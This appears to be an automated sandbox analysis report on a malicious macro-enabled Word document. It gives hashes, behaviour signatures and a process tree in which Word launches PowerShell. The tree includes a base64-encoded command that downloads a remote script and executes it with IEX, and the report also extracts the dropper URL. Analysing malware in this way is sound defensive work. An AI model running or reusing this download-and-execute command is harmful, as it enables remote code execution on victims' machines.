Analysis

  • max time kernel
    136s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-06-2023 10:17

General

  • Target

    c82717259c368b69cb64572e74042c02.docm

  • Size

    16KB

  • MD5

    c82717259c368b69cb64572e74042c02

  • SHA1

    2fc0ceb46caa5529bf3c7bce4c11793e1bfa45d3

  • SHA256

    5636b00a5c350d5f80d7654e256302f5c58b0d899fa800e8ff47ceb30b796732

  • SHA512

    af326ce518d9ec7a474cec903048e99d05608bfc4fe4966924c046773e43b6d5375742670fd241113e5f838710cb3595080e7cd6b61adec51d23f9f82b9f70e6

  • SSDEEP

    384:/iutbydI+IQLQDZaNxt/ZtNNsstAWObKo1n9EA:/XEIKCGxllNsstobKo19z

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://192.168.45.161/meter.ps1

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\c82717259c368b69cb64572e74042c02.docm" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3040
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADEANgAxAC8AbQBlAHQAZQByAC4AcABzADEAJwApACAAfAAgAEkARQBYAA==
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4048
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADEANgAxAC8AbQBlAHQAZQByAC4AcABzADEAJwApACAAfAAgAEkARQBYAA==
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1232

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    b66db53846de4860ca72a3e59b38c544

    SHA1

    2202dc88e9cddea92df4f4e8d83930efd98c9c5a

    SHA256

    b1a00fcea37b39a5556eea46e50711f7713b72be077a73cb16515ca3538d6030

    SHA512

    72eff4ae1d541c4438d3cd85d2c1a8c933744b74c7a2a4830ffe398fee88f1a8c5b241d23e94bcdf43b4be28c2747b331a280a7dc67ab67d8e72c6569f016527

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_low1zmrx.or3.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1232-218-0x000001C1EEF40000-0x000001C1EEF50000-memory.dmp

    Filesize

    64KB

  • memory/1232-217-0x000001C1EEF40000-0x000001C1EEF50000-memory.dmp

    Filesize

    64KB

  • memory/1232-216-0x000001C1EEF40000-0x000001C1EEF50000-memory.dmp

    Filesize

    64KB

  • memory/1232-213-0x000001C1EEF40000-0x000001C1EEF50000-memory.dmp

    Filesize

    64KB

  • memory/1232-211-0x000001C1EEF40000-0x000001C1EEF50000-memory.dmp

    Filesize

    64KB

  • memory/1232-210-0x000001C1EEF40000-0x000001C1EEF50000-memory.dmp

    Filesize

    64KB

  • memory/3040-139-0x00007FFEB6C60000-0x00007FFEB6C70000-memory.dmp

    Filesize

    64KB

  • memory/3040-134-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

    Filesize

    64KB

  • memory/3040-239-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

    Filesize

    64KB

  • memory/3040-238-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

    Filesize

    64KB

  • memory/3040-237-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

    Filesize

    64KB

  • memory/3040-236-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

    Filesize

    64KB

  • memory/3040-135-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

    Filesize

    64KB

  • memory/3040-136-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

    Filesize

    64KB

  • memory/3040-133-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

    Filesize

    64KB

  • memory/3040-138-0x00007FFEB6C60000-0x00007FFEB6C70000-memory.dmp

    Filesize

    64KB

  • memory/3040-137-0x00007FFEB8CF0000-0x00007FFEB8D00000-memory.dmp

    Filesize

    64KB

  • memory/4048-180-0x000001FDBC7C0000-0x000001FDBC7E2000-memory.dmp

    Filesize

    136KB

  • memory/4048-190-0x000001FDA45F0000-0x000001FDA4600000-memory.dmp

    Filesize

    64KB

  • memory/4048-191-0x000001FDA45F0000-0x000001FDA4600000-memory.dmp

    Filesize

    64KB

  • memory/4048-195-0x000001FDA45F0000-0x000001FDA4600000-memory.dmp

    Filesize

    64KB

  • memory/4048-194-0x000001FDA45F0000-0x000001FDA4600000-memory.dmp

    Filesize

    64KB

  • memory/4048-193-0x000001FDA45F0000-0x000001FDA4600000-memory.dmp

    Filesize

    64KB

  • memory/4048-192-0x000001FDA45F0000-0x000001FDA4600000-memory.dmp

    Filesize

    64KB